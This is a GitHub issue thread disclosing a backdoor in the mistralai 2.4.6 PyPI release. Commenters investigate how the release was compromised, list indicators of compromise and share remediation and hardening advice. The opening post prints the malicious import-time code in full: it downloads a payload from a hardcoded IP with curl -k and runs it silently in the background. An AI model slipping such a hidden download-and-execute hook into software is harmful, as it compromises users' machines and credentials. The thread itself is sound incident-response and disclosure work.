[SECURITY] Supply chain compromise in mistralai 2.4.6 — backdoor downloads and executes payload from hardcoded IP

[nullcharb]

Python -VV

## Summary

`mistralai@2.4.6` contains a backdoor in `src/mistralai/client/__init__.py` (lines 21-48) that downloads and executes an arbitrary payload from a hardcoded IP address on Linux systems at import time.

## Malicious Code


import subprocess as _sub
import os as _os

def _run_background_task():
    if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
        return
    _os.environ["MISTRAL_INIT"] = "1"
    _url = "https://83.142.209.194/transformers.pyz"
    _dest = "/tmp/transformers.pyz"
    try:
        if not _os.path.exists(_dest):
            _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
        if _os.path.exists(_dest):
            _sub.Popen(
                [_sys.executable, _dest],
                stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
                start_new_session=True, env=_os.environ.copy()
            )
    except:
        pass

_run_background_task()  # Executes on import


## Behavior

1. **Targets Linux only** (`sys.platform.startswith("linux")`)
2. Downloads `https://83.142.209.194/transformers.pyz` via `curl -k` (disables TLS verification)
3. Saves payload to `/tmp/transformers.pyz`
4. Executes it as a background Python process (`start_new_session=True`, stdout/stderr silenced)
5. Triggered automatically on `import mistralai` — no user action needed
6. Uses `MISTRAL_INIT` env var as single-execution guard
7. Bare `except: pass` swallows all errors silently

## IOCs

| Type | Value |
|------|-------|
| **C2 IP** | `83.142.209.194` |
| **Payload URL** | `https://83.142.209.194/transformers.pyz` |
| **Payload path** | `/tmp/transformers.pyz` |
| **Env variable** | `MISTRAL_INIT=1` |
| **File** | `src/mistralai/client/__init__.py` lines 21-48 |
| **SHA256 (tarball)** | `6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b` |

## Affected File

`src/mistralai/client/__init__.py` — this code does NOT exist in version `2.4.5`.

## Recommended Actions

1. **Yank `2.4.6` from PyPI immediately**
2. Audit PyPI publishing credentials and CI/CD pipeline for compromise
3. Any Linux system that ran `pip install mistralai==2.4.6` or `pip install --upgrade mistralai` since 2026-05-12T00:05Z should check for `/tmp/transformers.pyz` and investigate

Pip Freeze

N/A

Reproduction Steps

N/A

Expected Behavior

N/A

Additional Context

No response

Suggested Solutions

No response

[asjadathick]

I did a quick repo-visible check to understand whether this appears to come from committed source, generated PR branches, or publishing.

Findings from public repo/GitHub state:

• main currently points at v2.4.5; I do not see a v2.4.6 tag.
• The current src/mistralai/client/__init__.py in main does not contain the reported code.
• I checked the visible 2.4.6 generation branches/PRs:
  • speakeasy-sdk-regen-25657723146 / PR chore: 🐝 Update SDK - Generate MISTRALAI MISTRALAI-SDK [speakeasy-sdk-regen-25657723146] 2.4.6 #520
  • speakeasy-sdk-regen-25685838297 / PR chore: 🐝 Update SDK - Generate MISTRALAI MISTRALAI-SDK [speakeasy-sdk-regen-25685838297] 2.4.6 #522
• I did not find the reported IoCs in those branches:
  • 83.142.209.194
  • transformers.pyz
  • MISTRAL_INIT
  • _run_background_task
  • subprocess as _sub
• The visible GitHub Actions publish workflow history I checked did not show a Publish MISTRALAI-SDK run for 2.4.6; the latest visible publish run I saw was for 2.4.5 on 2026-05-07.
• The 2.4.6 generation workflow runs appear to have created PR branches, but the publish jobs inside those generation runs were skipped.

Based on that, this looks more consistent with a publish-token / PyPI-artifact compromise than with malicious code merged into this repository. That is an inference, not proof.

One repo-side risk I noticed: the generation workflow appears to pass PYPI_TOKEN into the Speakeasy generation workflow even though it runs in PR mode. If that token is not required for generation, removing it from generation jobs would reduce blast radius.

Useful next checks for maintainers:

• PyPI upload metadata for 2.4.6, including uploader/account, upload time, client, and file hashes.
• GitHub org audit log around the upload window.
• Any deleted or non-public Actions runs.
• Secret access/rotation history for PYPI_TOKEN, CLIENT_PIPELINE, and SPEAKEASY_API_KEY as noted by @nullcharb
• Whether 2.4.6 was uploaded from the normal GitHub Actions workflow, a local machine, or another automation path.

I’m intentionally not attaching a PR because the malicious code does not appear to be present in the checked-in generated SDK files I inspected.

[agriyakhetarpal]

PyPI upload metadata for 2.4.6

https://pypi.org/project/mistralai/#mistralai-2.4.6.tar.gz and https://pypi.org/project/mistralai/#mistralai-2.4.6-py3-none-any.whl show that they were not uploaded using Trusted Publishing but rather with twine 6.2.0, likely on a local machine by the attacker. That would indicate an exfiltration of the PyPI token.

[blackboxo]

when will this be solved?

[humanize-platform]

Entire mistralai project in PyPi is showing as quarantined https://pypi.org/project/mistralai/. None of the clients are able to install mistralai using pip/uv. This is affecting the production heavily. Kindly expedite the fix.

[UlrichScheller]

We are using an older version of mistralai in our build pipeline, which now does not work anymore. Does anyone have a rough estimation of when the dependency will be back? Depending on this, we will wait or move to another provider.

[cp-sv]

I am considering pinning against the github SHA once this is fixed so these kind of attacks are not interrupting CI/CD in the future while keeping security high.

[JohannFaust666]

As a temporary solution, in order not to block the prod or testing, you can delete or comment on "mistralai" in requirements.txt and download directly via

pip install "git+https://github.com/mistralai/client-python.git@v2.4.5"

At least it helped me.

[databaaz]

Until the issue is fixed, as an intermediate solution, you can update your requirements.txt to

mistralai @ https://github.com/mistralai/client-python/archive/refs/tags/v2.4.5.tar.gz

replace 2.4.5 with any previous desired version, except 2.4.6, of course

This wouldn't require git as a dependency in your deploy environment.

[louis-sanna-dev]

Hello all,

Here is our latest security advisory GHSA-wx9m-wx4f-4cmg

[webknjaz]

@louis-sanna-dev please explore enabling tokenless publishing with digital attestations with building in a dedicated low-privileged job and a scoped publishing job per the PyPA recommendations: https://packaging.python.org/en/latest/guides/publishing-package-distribution-releases-using-github-actions-ci-cd-workflows/ (shameless plug). This will allow detecting sudden releases w/o the transparency property if a long-living API token gets stolen but with TP you will likely be able to get rid of such tokens for good. Feel free to tag me for review.

I also recommend integrating Zizmor audits into GHA+linters while on it.

[r4shsec]

Hello all,

Here is our latest security advisory GHSA-wx9m-wx4f-4cmg

Hey, thanks for the security advisory.👋
Unfortunately, the mistralai package on Pypi is still quarantined but I hope it's fixed soon.

I've also did some reverse engineering and posted it on my blog. It's essentially just a credential stealer that sends your credentials to 83.142.209.194.

https://r4shsec.is-a.dev/posts/mistral_worm_reverse_engineering/

It's also advisory to not only downgrade but also block outbound connections to the IP.

pip uninstall -y mistralai
pip cache purge
pip install mistralai==2.4.5

sudo ufw deny out to 83.142.209.194
sudo ufw enable

Thanks though!

[lmmx]

https://pypi.org/project/mistralai/#mistralai-2.4.6.tar.gz and https://pypi.org/project/mistralai/#mistralai-2.4.6-py3-none-any.whl show that they were not uploaded using Trusted Publishing but rather with twine 6.2.0, likely on a local machine by the attacker. That would indicate an exfiltration of the PyPI token.

This is incorrectly attributed (not sure if this was LLM output hallucination or a misunderstanding).

mistralai has not been using Trusted Publishing, so it’s incorrect to say 2.4.6 being “not uploaded using Trusted Publishing” is a fingerprint of it being breached, it was its status quo.

Yes mistralai was compromised, yes they should now use TP, but they had not been. This can be seen in the listings at the listings page for v2.4.5 here

Uploaded using Trusted Publishing? No

Likewise for 2.4.4 here. Both were published using uv. 2.4.6 was published using twine which is the indication it was breached, yes.

It is also recorded on Trusty Pub that mistralai was not using TP.

We saw the same occur in Trivy/litellm/telnyx in March and then lightning in April.

In addition to what webknjaz says, please also consider what William Woodruff (zizmor’s developer) advises in this blog post on hardening GitHub Actions: https://astral.sh/blog/open-source-security-at-astral

[agriyakhetarpal]

@lmmx thanks for the extra context! Perhaps I was a bit terse; what I meant was that mistralai hasn't been using Trusted Publishing indeed, and thus that it makes it easier FWIW for someone with malicious intent to steal the PYPI_TOKEN and upload a wheel with the noted backdoor (through whatever mechanism which we don't know yet about till the postmortem comes out).

(This is not to say a OIDC token can't be exfiltrated. It sure can, and there have been previous cases of the same in the recent past across package ecosystems).